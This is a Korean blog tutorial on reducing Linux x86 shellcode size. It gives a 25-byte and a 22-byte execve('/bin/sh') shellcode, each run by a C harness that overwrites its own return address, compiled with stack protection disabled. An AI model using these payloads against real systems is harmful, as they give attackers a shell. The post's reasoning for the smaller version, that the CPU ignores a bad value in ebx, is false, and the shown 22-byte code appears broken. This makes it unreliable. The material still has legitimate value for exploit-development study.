본문 바로가기

IT/System Hacking

리눅스 쉘코드(shellcode) 크기 줄이기

/* 
written by kaspy (kaspyx@gmail.com)
*/ 


리눅스 쉘코드(shellcode) 사이즈 줄이기(경량화)는 해커들 사이에서도 많이 연구되는 문제로, 얼마나 작은 사이즈의 명령어를 사용하여 쉘코드를 띄우는가 하는 문제이다. 


내가 알기로는 가장 작은 리눅스 쉘코드는 특수한 전제조건이 붙지 않았을때 21 바이트로 알고있는데 쉘코드 사이즈 줄이는 간략한 방법을 소개하도록 하겠다.


우선 내가 이전에 작성한 쉘코드의 사이즈는 25바이트로 아래와 같다.


  1. char buf[] =
  2. "\xeb\x0b\x31\xc0\x31\xd2\x31\xc9\x5b\xb0\x0b\xcd\x80\xe8\xf0\xff\xff\xff/bin/sh";
  3.  
  4. void main()
  5. {
  6.         int *ret;
  7.         ret = (int*)&ret +2;
  8.         (*ret) = (int)buf;
  9. }
  10. // compile: gcc -o shellcode2 shellcode2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack


아래는 쉘코드에 대한 어셈블리어로 아래와같다. 

 


그럼 쉘코드 사이즈를 줄이기 위해서는 어떤것들을 수정해야 할까?


위에서 


xor eax, %eax,

movb 0x0b , %al


명령어는 4바이트를 먹는반면


push $0x0b

pop %eax


으로 바꾸면 3바이트로 1 바이트를 절약할수 있다.


jmp strings를 삭제해도 ebx에는 이상한값이 들어오면 cpu는 이를 무시하고 실행하므로 2바이트를 절약해서 총 3바이트를 절약할수있었고 22바이트로 쉘코드의 사이즈를 줄일수 있었다.


Tiny shellcode - 22 byte


  1. char buf[] =
  2. "\x6a\x0b\x58\x31\xd2\x31\xc9\x5b\xcd\x80\xe8\xf1\xff\xff\xff/bin/sh";
  3.  
  4. void main()
  5. {
  6.         int *ret;
  7.         ret = (int*)&ret +2;
  8.         (*ret) = (int)buf;
  9. }
  10. // compile: gcc -o shellcode2 shellcode2.c -fno-stack-protector -mpreferred-stack-boundary=2 -z execstack



참고 내부링크


 리눅스 쉘코드 만들기 - http://kaspyx.kr/4